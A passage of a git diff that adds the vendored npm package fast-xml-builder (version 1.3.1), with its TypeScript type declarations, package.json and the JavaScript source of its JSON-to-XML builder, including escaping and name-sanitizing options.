/** Current path as an array of tag names. */
toArray(): string[];
}
type XmlBuilderOptions = {
/**
* Give a prefix to the attribute name in the resulting JS object
*
* Defaults to '@_'
*/
attributeNamePrefix?: string;
/**
* A name to group all attributes of a tag under, or `false` to disable
*
* Defaults to `false`
*/
attributesGroupName?: false | string;
/**
* The name of the next node in the resulting JS
*
* Defaults to `#text`
*/
textNodeName?: string;
/**
* Whether to ignore attributes when building
*
* When `true` - ignores all the attributes
*
* When `false` - builds all the attributes
*
* When `Array<string | RegExp>` - filters out attributes that match provided patterns
*
* When `Function` - calls the function for each attribute and filters out those for which the function returned `true`
*
* Defaults to `true`
*/
ignoreAttributes?: boolean | (string | RegExp)[] | ((attrName: string, jPath: string) => boolean);
/**
* Give a property name to set CDATA values to instead of merging to tag's text value
*
* Defaults to `false`
*/
cdataPropName?: false | string;
/**
* If set, parse comments and set as this property
*
* Defaults to `false`
*/
commentPropName?: false | string;
/**
* Whether to make output pretty instead of single line
*
* Defaults to `false`
*/
format?: boolean;
/**
* If `format` is set to `true`, sets the indent string
*
* Defaults to ` `
*/
indentBy?: string;
/**
* Give a name to a top-level array
*
* Defaults to `undefined`
*/
arrayNodeName?: string;
/**
* Create empty tags for tags with no text value
*
* Defaults to `false`
*/
suppressEmptyNode?: boolean;
/**
* Suppress an unpaired tag
*
* Defaults to `true`
*/
suppressUnpairedNode?: boolean;
/**
* Don't put a value for boolean attributes
*
* Defaults to `true`
*/
suppressBooleanAttributes?: boolean;
/**
* Preserve the order of tags in resulting JS object
*
* Defaults to `false`
*/
preserveOrder?: boolean;
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
/**
* Nodes to stop parsing at
*
* Accepts string patterns or Expression objects from path-expression-matcher
*
* String patterns starting with "*." are automatically converted to ".." for backward compatibility
*
* Defaults to `[]`
*/
stopNodes?: (string | Expression)[];
/**
* Control how tag value should be parsed. Called only if tag value is not empty
*
* @returns {undefined|null} `undefined` or `null` to set original value.
* @returns {unknown}
*
* 1. Different value or value with different data type to set new value.
* 2. Same value to set parsed value if `parseTagValue: true`.
*
* Defaults to `(tagName, val, jPath, hasAttributes, isLeafNode) => val`
*/
tagValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Control how attribute value should be parsed
*
* @param attrName
* @param attrValue
* @param jPath
* @returns {undefined|null} `undefined` or `null` to set original value
* @returns {unknown}
*
* Defaults to `(attrName, val, jPath) => val`
*/
attributeValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Whether to process default and DOCTYPE entities
*
* Defaults to `true`
*/
processEntities?: boolean;
oneListGroup?: boolean;
/**
* Maximum number of nested tags
*
* Defaults to `100`
*/
maxNestedTags?: number;
/**
* Validate or sanitize tag and attribute names before they are written to XML output.
*
* The context object provides:
* - `isAttribute` — `true` when the name being resolved is an attribute name,
* `false` when it is a tag name.
* - `matcher` — the current path matcher (readonly). Can be used to inspect the
* current element path, e.g. via `.toString()` or `.getDepth()`.
*
* Return the (possibly transformed) name to use in the output.
* Throw an error inside the function to reject an invalid name entirely.
*
* When set to `false` (default) all names are written as-is, preserving
* backward-compatible behaviour.
*
* @example
* // Auto-fix invalid names using xml-naming
* import { sanitize } from 'xml-naming';
* { sanitizeName: (name) => sanitize(name, 'qName') }
*
* @example
* // Reject invalid names
* import { qName } from 'xml-naming';
* { sanitizeName: (name) => { if (!qName(name)) throw new Error(`Invalid XML name: "${name}"`); return name; } }
*
* Defaults to `false`
*/
sanitizeName?: false | ((name: string, context: SanitizeNameContext) => string);
};
/**
* Context object passed as the second argument to {@link XmlBuilderOptions.sanitizeName}.
*/
type SanitizeNameContext = {
/**
* `true` when the name being resolved is an XML attribute name;
* `false` when it is an XML element (tag) name.
*/
isAttribute: boolean;
/**
* The current path matcher at the point where the name is being resolved.
* Readonly from the callback's perspective — do not call mutating methods.
* Use `.toString()` to get the current jPath string, `.getDepth()` for nesting depth.
*/
matcher: MatcherView;
};
interface XMLBuilder {
build(jObj: any): string;
}
interface XMLBuilderConstructor {
new(options?: XmlBuilderOptions): XMLBuilder;
(options?: XmlBuilderOptions): XMLBuilder;
}
declare const Builder: XMLBuilderConstructor;
export = Builder;

2
node_modules/fast-xml-builder/lib/fxb.min.js generated vendored Normal file

File diff suppressed because one or more lines are too long

1
node_modules/fast-xml-builder/lib/fxb.min.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

77
node_modules/fast-xml-builder/package.json generated vendored Normal file
View File

@@ -0,0 +1,77 @@
{
"name": "fast-xml-builder",
"version": "1.3.1",
"description": "Build XML from JSON without C/C++ based libraries",
"main": "./lib/fxb.cjs",
"type": "module",
"sideEffects": false,
"module": "./src/fxb.js",
"types": "./src/fxb.d.ts",
"exports": {
".": {
"import": {
"types": "./src/fxb.d.ts",
"default": "./src/fxb.js"
},
"require": {
"types": "./lib/fxb.d.cts",
"default": "./lib/fxb.cjs"
}
}
},
"scripts": {
"test": "c8 --reporter=lcov --reporter=text jasmine spec/*spec.js",
"test-types": "tsc --noEmit spec/typings/typings-test.ts",
"unit": "jasmine",
"lint": "eslint src/**/*.js spec/**/*.js benchmark/**/*.js",
"bundle": "webpack --config webpack.cjs.config.js",
"prettier": "prettier --write src/**/*.js"
},
"files": [
"lib",
"src",
"CHANGELOG.md"
],
"repository": {
"type": "git",
"url": "git+https://github.com/NaturalIntelligence/fast-xml-builder.git"
},
"keywords": [
"xml",
"json",
"fast",
"builder",
"parser",
"js2xml",
"json2xml"
],
"author": "Amit Gupta (https://solothought.com)",
"license": "MIT",
"devDependencies": {
"@babel/core": "^7.13.10",
"@babel/plugin-transform-runtime": "^7.13.10",
"@babel/preset-env": "^7.13.10",
"@babel/register": "^7.13.8",
"@nodable/entities": "^2.1.0",
"@types/node": "20",
"babel-loader": "^8.2.2",
"c8": "^10.1.3",
"eslint": "^8.3.0",
"fast-xml-parser": "^5.3.9",
"jasmine": "^5.6.0",
"prettier": "^3.5.1",
"typescript": "5",
"webpack": "^5.64.4",
"webpack-cli": "^4.9.1"
},
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"dependencies": {
"path-expression-matcher": "^1.6.2",
"xml-naming": "^0.3.0"
}
}

270
node_modules/fast-xml-builder/src/fxb.d.ts generated vendored Normal file
View File

@@ -0,0 +1,270 @@
// import { Expression, Matcher } from 'path-expression-matcher';
//type Matcher = unknown;
type Expression = unknown;
/**
* A lightweight, live read-only view of a Matcher instance.
*
* Returned by `Matcher.readOnly()`. The same instance is reused across every
* callback invocation — no allocation overhead per call. Reads directly from
* the parent Matcher's internal state so it always reflects the current parser
* position with no copying or freezing.
*/
export class MatcherView {
readonly separator: string;
/** Check if current path matches an Expression. */
matches(expression: Expression): boolean;
/** Get current tag name, or `undefined` if path is empty. */
getCurrentTag(): string | undefined;
/** Get current namespace, or `undefined` if not present. */
getCurrentNamespace(): string | undefined;
/** Get attribute value of the current node. */
getAttrValue(attrName: string): any;
/** Check if the current node has a given attribute. */
hasAttr(attrName: string): boolean;
/** Sibling position of the current node (child index in parent). */
getPosition(): number;
/** Occurrence counter of the current tag name at this level. */
getCounter(): number;
/** Number of nodes in the current path. */
getDepth(): number;
/** Current path as a string (e.g. `"root.users.user"`). */
toString(separator?: string, includeNamespace?: boolean): string;
/** Current path as an array of tag names. */
toArray(): string[];
}
export type XmlBuilderOptions = {
/**
* Give a prefix to the attribute name in the resulting JS object
*
* Defaults to '@_'
*/
attributeNamePrefix?: string;
/**
* A name to group all attributes of a tag under, or `false` to disable
*
* Defaults to `false`
*/
attributesGroupName?: false | string;
/**
* The name of the next node in the resulting JS
*
* Defaults to `#text`
*/
textNodeName?: string;
/**
* Whether to ignore attributes when building
*
* When `true` - ignores all the attributes
*
* When `false` - builds all the attributes
*
* When `Array<string | RegExp>` - filters out attributes that match provided patterns
*
* When `Function` - calls the function for each attribute and filters out those for which the function returned `true`
*
* Defaults to `true`
*/
ignoreAttributes?: boolean | (string | RegExp)[] | ((attrName: string, jPath: string) => boolean);
/**
* Give a property name to set CDATA values to instead of merging to tag's text value
*
* Defaults to `false`
*/
cdataPropName?: false | string;
/**
* If set, parse comments and set as this property
*
* Defaults to `false`
*/
commentPropName?: false | string;
/**
* Whether to make output pretty instead of single line
*
* Defaults to `false`
*/
format?: boolean;
/**
* If `format` is set to `true`, sets the indent string
*
* Defaults to ` `
*/
indentBy?: string;
/**
* Give a name to a top-level array
*
* Defaults to `undefined`
*/
arrayNodeName?: string;
/**
* Create empty tags for tags with no text value
*
* Defaults to `false`
*/
suppressEmptyNode?: boolean;
/**
* Suppress an unpaired tag
*
* Defaults to `true`
*/
suppressUnpairedNode?: boolean;
/**
* Don't put a value for boolean attributes
*
* Defaults to `true`
*/
suppressBooleanAttributes?: boolean;
/**
* Preserve the order of tags in resulting JS object
*
* Defaults to `false`
*/
preserveOrder?: boolean;
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
/**
* Nodes to stop parsing at
*
* Accepts string patterns or Expression objects from path-expression-matcher
*
* String patterns starting with "*." are automatically converted to ".." for backward compatibility
*
* Defaults to `[]`
*/
stopNodes?: (string | Expression)[];
/**
* Control how tag value should be parsed. Called only if tag value is not empty
*
* @returns {undefined|null} `undefined` or `null` to set original value.
* @returns {unknown}
*
* 1. Different value or value with different data type to set new value.
* 2. Same value to set parsed value if `parseTagValue: true`.
*
* Defaults to `(tagName, val, jPath, hasAttributes, isLeafNode) => val`
*/
tagValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Control how attribute value should be parsed
*
* @param attrName
* @param attrValue
* @param jPath
* @returns {undefined|null} `undefined` or `null` to set original value
* @returns {unknown}
*
* Defaults to `(attrName, val, jPath) => val`
*/
attributeValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Whether to process default and DOCTYPE entities
*
* Defaults to `true`
*/
processEntities?: boolean;
oneListGroup?: boolean;
/**
* Maximum number of nested tags
*
* Defaults to `100`
*/
maxNestedTags?: number;
/**
* Validate or sanitize tag and attribute names before they are written to XML output.
*
* The context object provides:
* - `isAttribute` — `true` when the name being resolved is an attribute name,
* `false` when it is a tag name.
* - `matcher` — the current path matcher (readonly). Can be used to inspect the
* current element path, e.g. via `.toString()` or `.getDepth()`.
*
* Return the (possibly transformed) name to use in the output.
* Throw an error inside the function to reject an invalid name entirely.
*
* When set to `false` (default) all names are written as-is, preserving
* backward-compatible behaviour.
*
* @example
* // Auto-fix invalid names using xml-naming
* import { sanitize } from 'xml-naming';
* { sanitizeName: (name) => sanitize(name, 'qName') }
*
* @example
* // Reject invalid names
* import { qName } from 'xml-naming';
* { sanitizeName: (name) => { if (!qName(name)) throw new Error(`Invalid XML name: "${name}"`); return name; } }
*
* Defaults to `false`
*/
sanitizeName?: false | ((name: string, context: SanitizeNameContext) => string);
};
/**
* Context object passed as the second argument to {@link XmlBuilderOptions.sanitizeName}.
*/
export type SanitizeNameContext = {
/**
* `true` when the name being resolved is an XML attribute name;
* `false` when it is an XML element (tag) name.
*/
isAttribute: boolean;
/**
* The current path matcher at the point where the name is being resolved.
* Readonly from the callback's perspective — do not call mutating methods.
* Use `.toString()` to get the current jPath string, `.getDepth()` for nesting depth.
*/
matcher: MatcherView;
};
export interface XMLBuilder {
build(jObj: any): string;
}
export interface XMLBuilderConstructor {
new(options?: XmlBuilderOptions): XMLBuilder;
(options?: XmlBuilderOptions): XMLBuilder;
}
declare const Builder: XMLBuilderConstructor;
export { Builder };
export default Builder;

609
node_modules/fast-xml-builder/src/fxb.js generated vendored Normal file
View File

@@ -0,0 +1,609 @@
'use strict';
//parse Empty Node as self closing node
import buildFromOrderedJs from './orderedJs2Xml.js';
import getIgnoreAttributesFn from "./ignoreAttributes.js";
import { Expression, Matcher } from 'path-expression-matcher';
import { safeComment, safeCdata, escapeAttribute, valToStr } from './util.js';
import { createValidator } from 'xml-naming';
const defaultOptions = {
attributeNamePrefix: '@_',
attributesGroupName: false,
textNodeName: '#text',
ignoreAttributes: true,
cdataPropName: false,
format: false,
indentBy: ' ',
suppressEmptyNode: false,
suppressUnpairedNode: true,
suppressBooleanAttributes: true,
tagValueProcessor: function (key, a) {
return a;
},
attributeValueProcessor: function (attrName, a) {
return a;
},
preserveOrder: false,
commentPropName: false,
unpairedTags: [],
entities: [
{ regex: new RegExp("&", "g"), val: "&amp;" },//it must be on top
{ regex: new RegExp(">", "g"), val: "&gt;" },
{ regex: new RegExp("<", "g"), val: "&lt;" },
{ regex: new RegExp("\'", "g"), val: "&apos;" },
{ regex: new RegExp("\"", "g"), val: "&quot;" }
],
processEntities: true,
stopNodes: [],
// transformTagName: false,
// transformAttributeName: false,
oneListGroup: false,
maxNestedTags: 100,
jPath: true, // When true, callbacks receive string jPath; when false, receive Matcher instance
sanitizeName: false // false = allow all names as-is (default, backward-compatible).
// Set to a function (name, { isAttribute, matcher }) => string to
// validate/sanitize tag and attribute names. Throw inside the function
// to reject an invalid name.
};
export default function Builder(options) {
this.options = Object.assign({}, defaultOptions, options);
// Convert old-style stopNodes for backward compatibility
// Old syntax: "*.tag" meant "tag anywhere in tree"
// New syntax: "..tag" means "tag anywhere in tree"
if (this.options.stopNodes && Array.isArray(this.options.stopNodes)) {
this.options.stopNodes = this.options.stopNodes.map(node => {
if (typeof node === 'string' && node.startsWith('*.')) {
// Convert old wildcard syntax to deep wildcard
return '..' + node.substring(2);
}
return node;
});
}
// Pre-compile stopNode expressions for pattern matching
this.stopNodeExpressions = [];
if (this.options.stopNodes && Array.isArray(this.options.stopNodes)) {
for (let i = 0; i < this.options.stopNodes.length; i++) {
const node = this.options.stopNodes[i];
if (typeof node === 'string') {
this.stopNodeExpressions.push(new Expression(node));
} else if (node instanceof Expression) {
this.stopNodeExpressions.push(node);
}
}
}
if (this.options.ignoreAttributes === true || this.options.attributesGroupName) {
this.isAttribute = function (/*a*/) {
return false;
};
} else {
this.ignoreAttributesFn = getIgnoreAttributesFn(this.options.ignoreAttributes)
this.attrPrefixLen = this.options.attributeNamePrefix.length;
this.isAttribute = isAttribute;
}
this.processTextOrObjNode = processTextOrObjNode
if (this.options.format) {
this.indentate = indentate;
this.tagEndChar = '>\n';
this.newLine = '\n';
} else {
this.indentate = function () {
return '';
};
this.tagEndChar = '>';
this.newLine = '';
}
}
/**
* Detect XML version from the ?xml declaration at the root of a plain-object input.
* Checks both attributesGroupName and flat attribute forms.
* Returns '1.0' if no declaration is found.
*/
function detectXmlVersionFromObj(jObj, options) {
const decl = jObj['?xml'];
if (decl && typeof decl === 'object') {
// attributesGroupName path e.g. { '$$': { '@_version': '1.1' } }
if (options.attributesGroupName && decl[options.attributesGroupName]) {
const v = decl[options.attributesGroupName][options.attributeNamePrefix + 'version'];
if (v) return v;
}
// flat attribute path e.g. { '@_version': '1.1' }
const v = decl[options.attributeNamePrefix + 'version'];
if (v) return v;
}
return '1.0';
}
/**
* Resolve a tag or attribute name through sanitizeName if configured.
* Validation via xml-naming's qName is performed first; the sanitizeName
* callback is invoked only when the name is invalid. If sanitizeName is
* false (default), no validation occurs and the name is used as-is.
*
* @param {string} name - raw name from the JS object
* @param {boolean} isAttribute - true when resolving an attribute name
* @param {object} options
* @param {Matcher} matcher - current matcher state (readonly from callback perspective)
* @param {function} qNameValidator - function to validate tag names
*/
function resolveTagName(name, isAttribute, options, matcher, qNameValidator) {
if (!options.sanitizeName) return name;
if (qNameValidator(name)) return name;
return options.sanitizeName(name, { isAttribute, matcher: matcher.readOnly() });
}
Builder.prototype.build = function (jObj) {
if (this.options.preserveOrder) {
return buildFromOrderedJs(jObj, this.options);
} else {
if (Array.isArray(jObj) && this.options.arrayNodeName && this.options.arrayNodeName.length > 1) {
jObj = {
[this.options.arrayNodeName]: jObj
}
}
// Initialize matcher for path tracking
const matcher = new Matcher();
const xmlVersion = detectXmlVersionFromObj(jObj, this.options);
const qNameValidator = createValidator('qName', { xmlVersion });
return this.j2x(jObj, 0, matcher, qNameValidator).val;
}
};
Builder.prototype.j2x = function (jObj, level, matcher, qNameValidator) {
let attrStr = '';
let val = '';
if (this.options.maxNestedTags && matcher.getDepth() >= this.options.maxNestedTags) {
throw new Error("Maximum nested tags exceeded");
}
// Get jPath based on option: string for backward compatibility, or Matcher for new features
const jPath = this.options.jPath ? matcher.toString() : matcher;
// Check if current node is a stopNode (will be used for attribute encoding)
const isCurrentStopNode = this.checkStopNode(matcher);
for (let key in jObj) {
if (!Object.prototype.hasOwnProperty.call(jObj, key)) continue;
// Resolve the key through sanitizeName before any use.
// Special keys (textNodeName, cdataPropName, commentPropName, attributeNamePrefix,
// attributesGroupName, "?" PI tags) are exempt — they are builder-internal conventions,
// not user-supplied XML names.
const isSpecialKey = key === this.options.textNodeName
|| key === this.options.cdataPropName
|| key === this.options.commentPropName
|| (this.options.attributesGroupName && key === this.options.attributesGroupName)
|| this.isAttribute(key)
|| key[0] === '?';
const resolvedKey = isSpecialKey
? key
: resolveTagName(key, false, this.options, matcher, qNameValidator);
if (typeof jObj[key] === 'undefined') {
// supress undefined node only if it is not an attribute
if (this.isAttribute(key)) {
val += '';
}
} else if (jObj[key] === null) {
// null attribute should be ignored by the attribute list, but should not cause the tag closing
if (this.isAttribute(key)) {
val += '';
} else if (resolvedKey === this.options.cdataPropName || resolvedKey === this.options.commentPropName) {
val += '';
} else if (resolvedKey[0] === '?') {
val += this.indentate(level) + '<' + resolvedKey + '?' + this.tagEndChar;
} else {
val += this.indentate(level) + '<' + resolvedKey + '/' + this.tagEndChar;
}
} else if (jObj[key] instanceof Date) {
val += this.buildTextValNode(jObj[key], resolvedKey, '', level, matcher);
} else if (typeof jObj[key] !== 'object') {
//premitive type
const attr = this.isAttribute(key);
if (attr && !this.ignoreAttributesFn(attr, jPath)) {
// Resolve the attribute name through sanitizeName
const resolvedAttr = resolveTagName(attr, true, this.options, matcher, qNameValidator);
attrStr += this.buildAttrPairStr(resolvedAttr, valToStr(jObj[key]), isCurrentStopNode);
} else if (!attr) {
//tag value
if (key === this.options.textNodeName) {
let newval = this.options.tagValueProcessor(key, valToStr(jObj[key]));
val += this.replaceEntitiesValue(newval);
} else {
// Check if this is a stopNode before building
matcher.push(resolvedKey);
const isStopNode = this.checkStopNode(matcher);
matcher.pop();
if (isStopNode) {
// Build as raw content without encoding
const textValue = valToStr(jObj[key]);
if (textValue === '') {
val += this.indentate(level) + '<' + resolvedKey + this.closeTag(resolvedKey) + this.tagEndChar;
} else {
val += this.indentate(level) + '<' + resolvedKey + '>' + textValue + '</' + resolvedKey + this.tagEndChar;
}
} else {
val += this.buildTextValNode(jObj[key], resolvedKey, '', level, matcher);
}
}
}
} else if (Array.isArray(jObj[key])) {
//repeated nodes
const arrLen = jObj[key].length;
let listTagVal = "";
let listTagAttr = "";
for (let j = 0; j < arrLen; j++) {
const item = jObj[key][j];
if (typeof item === 'undefined') {
// supress undefined node
} else if (item === null) {
if (resolvedKey[0] === "?") val += this.indentate(level) + '<' + resolvedKey + '?' + this.tagEndChar;
else val += this.indentate(level) + '<' + resolvedKey + '/' + this.tagEndChar;
} else if (typeof item === 'object') {
if (this.options.oneListGroup) {
// Push tag to matcher before recursive call
matcher.push(resolvedKey);
const result = this.j2x(item, level + 1, matcher, qNameValidator);
// Pop tag from matcher after recursive call
matcher.pop();
listTagVal += result.val;
if (this.options.attributesGroupName && item.hasOwnProperty(this.options.attributesGroupName)) {
listTagAttr += result.attrStr
}
} else {
listTagVal += this.processTextOrObjNode(item, resolvedKey, level, matcher, qNameValidator)
}
} else {
if (this.options.oneListGroup) {
let textValue = this.options.tagValueProcessor(resolvedKey, item);
textValue = this.replaceEntitiesValue(textValue);
textValue = valToStr(textValue);
listTagVal += textValue;
} else {
// Check if this is a stopNode before building
matcher.push(resolvedKey);
const isStopNode = this.checkStopNode(matcher);
matcher.pop();
if (isStopNode) {
// Build as raw content without encoding
const textValue = valToStr(item);
if (textValue === '') {
listTagVal += this.indentate(level) + '<' + resolvedKey + this.closeTag(resolvedKey) + this.tagEndChar;
} else {
listTagVal += this.indentate(level) + '<' + resolvedKey + '>' + textValue + '</' + resolvedKey + this.tagEndChar;
}
} else {
listTagVal += this.buildTextValNode(item, resolvedKey, '', level, matcher);
}
}
}
}
if (this.options.oneListGroup) {
listTagVal = this.buildObjectNode(listTagVal, resolvedKey, listTagAttr, level);
}
val += listTagVal;
} else {
//nested node
if (this.options.attributesGroupName && key === this.options.attributesGroupName) {
const Ks = Object.keys(jObj[key]);
const L = Ks.length;
for (let j = 0; j < L; j++) {
// Resolve attribute names inside attributesGroupName
const resolvedAttr = resolveTagName(Ks[j], true, this.options, matcher, qNameValidator);
attrStr += this.buildAttrPairStr(resolvedAttr, valToStr(jObj[key][Ks[j]]), isCurrentStopNode);
}
} else {
val += this.processTextOrObjNode(jObj[key], resolvedKey, level, matcher, qNameValidator)
}
}
}
return { attrStr: attrStr, val: val };
};
Builder.prototype.buildAttrPairStr = function (attrName, val, isStopNode) {
if (!isStopNode) {
val = this.options.attributeValueProcessor(attrName, valToStr(val));
val = this.replaceEntitiesValue(val);
}
if (this.options.suppressBooleanAttributes && val === "true") {
return ' ' + attrName;
} else return ' ' + attrName + '="' + escapeAttribute(val) + '"';
}
function processTextOrObjNode(object, key, level, matcher, qNameValidator) {
// Extract attributes to pass to matcher
const attrValues = this.extractAttributes(object);
// Push tag to matcher before recursion WITH attributes
matcher.push(key, attrValues);
// Check if this entire node is a stopNode
const isStopNode = this.checkStopNode(matcher);
if (isStopNode) {
// For stopNodes, build raw content without entity encoding
const rawContent = this.buildRawContent(object);
const attrStr = this.buildAttributesForStopNode(object);
matcher.pop();
return this.buildObjectNode(rawContent, key, attrStr, level);
}
const result = this.j2x(object, level + 1, matcher, qNameValidator);
// Pop tag from matcher after recursion
matcher.pop();
// PI/XML-declaration tags must never emit text content — route through
// buildTextValNode which correctly ignores the text node for "?" tags.
if (key[0] === '?') {
return this.buildTextValNode('', key, result.attrStr, level, matcher);
} else if (object[this.options.textNodeName] !== undefined && Object.keys(object).length === 1) {
return this.buildTextValNode(object[this.options.textNodeName], key, result.attrStr, level, matcher);
} else {
return this.buildObjectNode(result.val, key, result.attrStr, level);
}
}
// Helper method to extract attributes from an object
Builder.prototype.extractAttributes = function (obj) {
if (!obj || typeof obj !== 'object') return null;
const attrValues = {};
let hasAttrs = false;
// Check for attributesGroupName (when attributes are grouped)
if (this.options.attributesGroupName && obj[this.options.attributesGroupName]) {
const attrGroup = obj[this.options.attributesGroupName];
for (let attrKey in attrGroup) {
if (!Object.prototype.hasOwnProperty.call(attrGroup, attrKey)) continue;
// Remove attribute prefix if present
const cleanKey = attrKey.startsWith(this.options.attributeNamePrefix)
? attrKey.substring(this.options.attributeNamePrefix.length)
: attrKey;
attrValues[cleanKey] = escapeAttribute(attrGroup[attrKey]);
hasAttrs = true;
}
} else {
// Look for individual attributes (prefixed with attributeNamePrefix)
for (let key in obj) {
if (!Object.prototype.hasOwnProperty.call(obj, key)) continue;
const attr = this.isAttribute(key);
if (attr) {
attrValues[attr] = escapeAttribute(obj[key]);
hasAttrs = true;
}
}
}
return hasAttrs ? attrValues : null;
};
// Build raw content for stopNode without entity encoding
Builder.prototype.buildRawContent = function (obj) {
if (typeof obj === 'string') {
return obj; // Already a string, return as-is
}
if (typeof obj !== 'object' || obj === null) {
return String(obj);
}
// Check if this is a stopNode data from parser: { "#text": "raw xml", "@_attr": "val" }
if (obj[this.options.textNodeName] !== undefined) {
return obj[this.options.textNodeName]; // Return raw text without encoding
}
// Build raw XML from nested structure
let content = '';
for (let key in obj) {
if (!Object.prototype.hasOwnProperty.call(obj, key)) continue;
// Skip attributes
if (this.isAttribute(key)) continue;
if (this.options.attributesGroupName && key === this.options.attributesGroupName) continue;
const value = obj[key];
if (key === this.options.textNodeName) {
content += value; // Raw text
} else if (Array.isArray(value)) {
// Array of same tag
for (let item of value) {
if (typeof item === 'string' || typeof item === 'number') {
content += `<${key}>${item}</${key}>`;
} else if (typeof item === 'object' && item !== null) {
const nestedContent = this.buildRawContent(item);
const nestedAttrs = this.buildAttributesForStopNode(item);
if (nestedContent === '') {
content += `<${key}${nestedAttrs}/>`;
} else {
content += `<${key}${nestedAttrs}>${nestedContent}</${key}>`;
}
}
}
} else if (typeof value === 'object' && value !== null) {
// Nested object
const nestedContent = this.buildRawContent(value);
const nestedAttrs = this.buildAttributesForStopNode(value);
if (nestedContent === '') {
content += `<${key}${nestedAttrs}/>`;
} else {
content += `<${key}${nestedAttrs}>${nestedContent}</${key}>`;
}
} else {
// Primitive value
content += `<${key}>${value}</${key}>`;
}
}
return content;
};
// Build attribute string for stopNode (no entity encoding)
Builder.prototype.buildAttributesForStopNode = function (obj) {
if (!obj || typeof obj !== 'object') return '';
let attrStr = '';
// Check for attributesGroupName (when attributes are grouped)
if (this.options.attributesGroupName && obj[this.options.attributesGroupName]) {
const attrGroup = obj[this.options.attributesGroupName];
for (let attrKey in attrGroup) {
if (!Object.prototype.hasOwnProperty.call(attrGroup, attrKey)) continue;
const cleanKey = attrKey.startsWith(this.options.attributeNamePrefix)
? attrKey.substring(this.options.attributeNamePrefix.length)
: attrKey;
const val = attrGroup[attrKey];
if (val === true && this.options.suppressBooleanAttributes) {
attrStr += ' ' + cleanKey;
} else {
// stopNode content is raw, but the quote delimiter is always escaped
// so a quote in the value cannot break out of the attribute (see orderedJs2Xml attr_to_str)
attrStr += ' ' + cleanKey + '="' + escapeAttribute(val) + '"';
}
}
} else {
// Look for individual attributes
for (let key in obj) {
if (!Object.prototype.hasOwnProperty.call(obj, key)) continue;
const attr = this.isAttribute(key);
if (attr) {
const val = obj[key];
if (val === true && this.options.suppressBooleanAttributes) {
attrStr += ' ' + attr;
} else {
// stopNode content is raw, but the quote delimiter is always escaped
// so a quote in the value cannot break out of the attribute (see orderedJs2Xml attr_to_str)
attrStr += ' ' + attr + '="' + escapeAttribute(val) + '"';
}
}
}
}
return attrStr;
};
Builder.prototype.buildObjectNode = function (val, key, attrStr, level) {
if (val === "") {
if (key[0] === "?") return this.indentate(level) + '<' + key + attrStr + '?' + this.tagEndChar;
else {
return this.indentate(level) + '<' + key + attrStr + this.closeTag(key) + this.tagEndChar;
}
} else if (key[0] === "?") {
// PI/XML-declaration tags never have body content — treat them like empty.
return this.indentate(level) + '<' + key + attrStr + '?' + this.tagEndChar;
} else {
let tagEndExp = '</' + key + this.tagEndChar;
let piClosingChar = "";
if (key[0] === "?") {
piClosingChar = "?";
tagEndExp = "";
}
// attrStr is an empty string in case the attribute came as undefined or null
if ((attrStr || attrStr === '') && val.indexOf('<') === -1) {
return (this.indentate(level) + '<' + key + attrStr + piClosingChar + '>' + val + tagEndExp);
} else if (this.options.commentPropName !== false && key === this.options.commentPropName && piClosingChar.length === 0) {
return this.indentate(level) + `<!--${safeComment(val)}-->` + this.newLine;
} else {
return (
this.indentate(level) + '<' + key + attrStr + piClosingChar + this.tagEndChar +
val +
this.indentate(level) + tagEndExp);
}
}
}
Builder.prototype.closeTag = function (key) {
let closeTag = "";
if (this.options.unpairedTags.indexOf(key) !== -1) { //unpaired
if (!this.options.suppressUnpairedNode) closeTag = "/"
} else if (this.options.suppressEmptyNode) { //empty
closeTag = "/";
} else {
closeTag = `></${key}`
}
return closeTag;
}
Builder.prototype.checkStopNode = function (matcher) {
if (!this.stopNodeExpressions || this.stopNodeExpressions.length === 0) return false;
for (let i = 0; i < this.stopNodeExpressions.length; i++) {
if (matcher.matches(this.stopNodeExpressions[i])) {
return true;
}
}
return false;
}
function buildEmptyObjNode(val, key, attrStr, level) {
if (val !== '') {
return this.buildObjectNode(val, key, attrStr, level);
} else {
if (key[0] === "?") return this.indentate(level) + '<' + key + attrStr + '?' + this.tagEndChar;
else {
return this.indentate(level) + '<' + key + attrStr + '/' + this.tagEndChar;
}
}
}
Builder.prototype.buildTextValNode = function (val, key, attrStr, level, matcher) {
if (this.options.cdataPropName !== false && key === this.options.cdataPropName) {
const safeVal = safeCdata(val);
return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
} else if (this.options.commentPropName !== false && key === this.options.commentPropName) {
const safeVal = safeComment(val);
return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
} else if (key[0] === "?") {//PI tag
return this.indentate(level) + '<' + key + attrStr + '?' + this.tagEndChar;
} else {
// Normal processing: apply tagValueProcessor and entity replacement
let textValue = this.options.tagValueProcessor(key, val);
textValue = this.replaceEntitiesValue(textValue);
// tagValueProcessor may return the raw value unchanged (default is identity), and
// replaceEntitiesValue no-ops on non-strings, so a plain number can still reach here;
// stringify it now, sign-preserving, before it's implicitly ToString'd below.
textValue = valToStr(textValue);
if (textValue === '') {
return this.indentate(level) + '<' + key + attrStr + this.closeTag(key) + this.tagEndChar;
} else {
return this.indentate(level) + '<' + key + attrStr + '>' +
textValue +
'</' + key + this.tagEndChar;
}
}
}
Builder.prototype.replaceEntitiesValue = function (textValue) {
if (textValue && textValue.length > 0 && this.options.processEntities) {
for (let i = 0; i < this.options.entities.length; i++) {
const entity = this.options.entities[i];
textValue = textValue.replace(entity.regex, entity.val);
}
}
return textValue;
}
function indentate(level) {
return this.options.indentBy.repeat(level);
}
function isAttribute(name /*, options*/) {
if (name.startsWith(this.options.attributeNamePrefix) && name !== this.options.textNodeName) {
return name.substr(this.attrPrefixLen);
} else {
return false;
}
}

18
node_modules/fast-xml-builder/src/ignoreAttributes.js generated vendored Normal file
View File

@@ -0,0 +1,18 @@
export default function getIgnoreAttributesFn(ignoreAttributes) {
if (typeof ignoreAttributes === 'function') {
return ignoreAttributes
}
if (Array.isArray(ignoreAttributes)) {
return (attrName) => {
for (const pattern of ignoreAttributes) {
if (typeof pattern === 'string' && attrName === pattern) {
return true
}
